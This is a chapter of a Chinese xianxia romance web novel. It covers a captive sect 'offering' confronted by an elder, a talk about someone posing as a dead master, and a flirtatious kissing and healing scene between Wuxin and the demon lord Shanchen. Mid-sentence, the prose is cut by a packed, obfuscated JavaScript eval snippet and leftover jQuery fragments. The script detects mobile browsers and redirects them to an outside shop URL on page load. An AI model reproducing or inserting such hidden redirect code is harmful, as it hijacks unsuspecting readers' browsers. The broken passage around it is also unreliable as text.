34. 后事

作品:《无情道飞升,靠恋爱脑?

    柳瑜昏昏沉沉地从朔玉床上醒来,迎接她的,是爬满符文的墙壁与四肢的锁链。


    她试探地动了下,发现自己被上了束仙咒,根本无法发力。


    她两眼一翻,平静道:“要杀要剐,给我个准话。”


    暗处一中年男人的身影悄然浮现。


    他负手而立,居高临下地看着柳瑜。


    “司命大人的性命,可是教内一等一的大事。”


    “理应保护。”


    柳瑜在暗处翻了个白眼,冲着男人扯了个皮笑肉不笑的表情。


    她摇晃着自己的铁链:“这就是长老说的保护?”


    “教主大人批准的?”


    提到教主,那男人好似发了狂般,将整个暗处跺得震天响。


    柳瑜皱着眉头向后退,她最受不了这货动不动发怒的样子。


    “你还有脸说教主!”


    “还有脸说!”


    男人朝着柳瑜吼道。


    柳瑜敷衍地道歉:“嗯嗯……我的我的。”


    她没有悔意,只有无穷无尽的不耐烦。


    “教主大人为了救你,负伤严重,此次已经回雪域闭关了。”


    “都怪你,教主马上就要冲击九重天,此次负伤,又要停滞了!”


    这屁话柳瑜听过无数次,不外乎教主大人要冲击九重天,教内应当齐心协力云云。


    夭寿哦。


    她就没见教主成功。


    她初次见教主,就是这副八重天半死不活的样子。


    这么多年过去了,长进没有,身上那股死气更明显了。


    柳瑜面上不显,内心白眼已经要翻到天上去了。


    她敷衍地点头,面上没什么起伏,却还要装作忠诚的样子。


    她心不在焉地欣赏着自己刚做完的蔻丹,慢条斯理道:“是我不好,是我莽撞了。”


    长老的怒气并未因她几句不痛不痒的道歉缓解,他指着柳瑜,大有喋喋不休的架势。


    “都怪你,你非要讨个什么公道。”


    “我前些日子便让你回昆吾,你倒好,被人抓了个正着。”


    “若你肯听从指挥,早日归来,教主何故受此无妄灾。”


    “都怪你,年轻气盛,心中没有大义,更没有献身的决心。”


    “你留在此处,好好反省,莫要坏了规矩。”


    “若教内人人皆同你这般,何时能成就霸业?”


    这番说辞,柳瑜早都听腻了。


    耳根子里全是大长老喋喋不休的废话,平白让人嫌恶。


    她莫名想到无心。


    那个认真听她说话的小姑娘,聪明是很聪明的,就是某些时候,偏执得可爱。


    大长老发现了柳瑜的反常,过度的神游使得她脸颊浮现淡淡的红晕。


    大长老一把薅住柳瑜的头发,凑到她身前,恶狠狠道:“别不识好歹。”


    “教主大人救你,可不是让你在这里发呆的。”


    “要懂得知恩图报啊!”


    柳瑜伤势未愈,此刻被人拽住,直接甩到了地上。


    眼看大长老想继续发难,柳瑜顺势倒下,半真半假地威胁:“大长老可要想清楚,你这一脚踹下去,我若有个三长两短,你如何向教主大人交代?”


    “到时候祭品有什么闪失,仪式失败,教主的霸业,可就无了……”


    二人对峙不下,最终还是男人先妥协。


    他将手往虚空中一甩,愤愤道:“那便希望司命大人,好好履行祭品的职责,不要再为了一些无所谓的事情乱跑了。”


    男人恶狠狠地拍了拍柳瑜的脸,拂袖离去。


    柳瑜对他的态度见怪不怪,她起身,靠在冰凉的石壁上。


    寒冷顺着脊背蔓延,她漫不经心地把玩着手中的灵囊袋,眼中流露的温柔连她自己都未曾察觉。


    不知道无心,有没有注意到自己留给她的小礼物。


    话又说回来,那人是扶光仙君,山尘是不信的。


    至少,扶光仙君的功力,远在此人之上。


    可无心被突然来的霜寒打乱了思绪,无暇思考。


    山尘只得先顺着她,待她平静之后,才解释道:“我认为,那黑衣人是扶光仙君的可能性很小。”


    无心似乎是早有预感,她沉默不语只平静地听着。


    “首先,扶光仙君本人,不可能那么弱。”


    “即使是受伤修为跌落,也不应当如此狼狈,与你我二人打得有来有往。”


    事实上,此人应当从未修炼到过九重天。


    在对弈中,山尘的修为与灵力将他牢牢压制,动弹不得。


    即使岁月变迁,山尘依旧记得。


    他记得扶光仙君对无心的好,记得他将无心抱在怀中小心地哄,记得他温和地笑。


    那是无条件的爱,不会因无心的成就而改变。


    “那绝对不是你师父。”


    “师父不会因为你成就了什么而爱你,因为你是你,他就会无条件地支持你。”


    “我也是。”


    山尘漂亮话张口就来,哄人的话愈发娴熟,无心被他哄得心里发痒,不轻不重地在他手背上打了一下。


    “你竟会哄人。”


    山尘刚想解释,便听无心继续道:“我知道。”


    她点头,平静地开口:“醒来之后,我便反应过来了。”


    “他功法虽与师父同源,但与师父不同。”


    “大战之后,霜寒不知所踪,此次再见,剑灵似乎沉睡了。”


    “不知他用了什么秘法,但霜寒应当不是自愿听命于他。”


    “我不让你告诉姑姑,是有原因的。”


    山尘侧头:“你怀疑?”


    “不不不。”无心慌忙摇头,“我并非怀疑姑姑。”


    “只是修仙界内部,只怕早已千疮百孔。”


    “姑姑性子急,若让她知晓有人冒充师父,怕是一天都等不了,掘地三尺,她也要将那人找出来砍了。”


    山尘深以为然。


    绛云的砍刀,是真的会毫不犹豫地将人剁碎。


    二人聊了许久,无心轻轻推开他。


    “别浪费灵力了,这伤郁结在体内,好得慢些,休养几日就行。”


    无心笑盈盈地望着他:“你若实在闲不住,便去城南给我买个枣泥香兰酥吃。”


    山尘手没停,轻轻点了点头。


    他换了件紫色长袍,午后的阳光洒到衣身银白鎏金的纹路上,格外耀眼。


    无心把玩他颈间项圈,那串带着异族气息的锁扣,随着晃动发出悦耳的铃声。


    他发尾高高梳起,抬头看人的时候,像湿漉漉的小狗。


    无心拉着他的项圈,半开玩笑道:“是今天紫色土狗。”


    山尘拉过她的手,放在自己脸颊上,亲昵地蹭了蹭。


    他皮肤白净,带着玉般的细腻,无心摸得有些爱不释手。


    忽然,她一下没收住力,手指不小心碰到了山尘的嘴唇。


    唇瓣柔软的触感在指尖


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17031093|191486||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    蔓延,仿佛流水划过指尖。


    无心的手触电般收回,又被山尘抓住重新按了回去。


    无心吓得没敢动,但对方却若有若无地往她手边蹭。


    直到一根食指被温热的触感包裹,山尘的唇轻轻含住她的指尖,舌尖若有若无地扫过指腹,微微发痒,顺着蔓延至全身。


    无心下意识蜷缩手指,却被山尘反过来轻轻咬了一下,她耳根烫得厉害,呼吸错乱。


    山尘眼睫颤了颤,眼底的笑意溢出,却没停下。


    忽然,他猛地放开无心的手,欺身而上,反客为主。


    二人的道侣契约因靠近的原因而闪闪发亮。


    “大可不必等它自己恢复,我还有一个办法。”


    无心正要疑惑,山尘拖住她的后颈,温热的唇覆了上来。


    这吻轻柔绵长,但又偏偏带了些不能抗拒的力道。


    无心忽然发觉山尘的唇瓣烫得吓人,耳鬓厮磨间,山尘撬开她的齿关,她口中空气尽数被掠夺,腿软的几乎要站不住。


    慌乱间,她攀上山尘的颈肩,好似深海浮萍,任由水域涨落,浮浮沉沉。


    无心不知这一吻何时结束,但当她脸颊通红地反应过来时,胸前的伤口正在缓慢愈合。


    山尘动作轻柔:“道侣契约能让双修效率大幅提升,对疗伤的帮助很大。”


    “我在为你疗伤时便发现,你的身体能接受我的魔气。”


    无心头回听说。


    世人虽不爱却要勉强在一起,不外乎二者契合,相辅相成罢了。


    她打趣道:“魔尊大人如此娴熟,想来颇有经验啊。”


    山尘没有否认,边用神识扫无心的伤口,边点头回答:“嗯,都是在你这里学的。”


    男人在某些方面简直是无师自通,无心被他撩得面红耳赤,咬牙背过去,装作不看他。


    “还是有些缓慢。”


    “只是这样的接触,能直接灌到经脉的魔力太少。”


    饶是无心已经觉得很快便能好,山尘也闭着眼睛说不行。


    她哭笑不得,正想赶快将这只黏人的小土狗打发了,便见他又期期艾艾地贴了上来。


    “心心宝贝……”


    山尘自从看了无心的神识,对柳瑜愈发看不顺眼起来。


    这女人心思不纯。


    他刻意用了柳瑜的肉麻称呼,成功让无心难为情了起来。


    “你少贫。”


    “那叫什么?”


    无心知晓今日若不堵住他的嘴,他必喋喋不休地提起。


    “都行都行,你直接叫我名字也可以。”


    “叫你无心大宝贝,心心乖乖,叫你心心仙子,叫……”


    无心委实不知自己名字就两个字,是如何让他变出花来的。


    “夫人?”


    “啊?”


    无心瞬间回神。


    山尘乐此不疲:“夫人?”


    无心手动按住了他那张作乱的嘴:“叫什么都行,这个不可以。”


    山尘向后缩了缩,表达自己的不满,但很快又想到了什么,试探性地向前。


    “我有个能让仙子快速恢复的办法,仙子要不要听。”


    无心狐疑,顿觉得他没安好心。


    但美色当前,山尘衣衫半开,她着实不好拒绝:“什么?”


    山尘将她抱起,跨坐在自己怀中。


    室内空气渐热,方才的接触让无心的唇格外鲜艳,好似熟透的樱桃。


    “仙子……”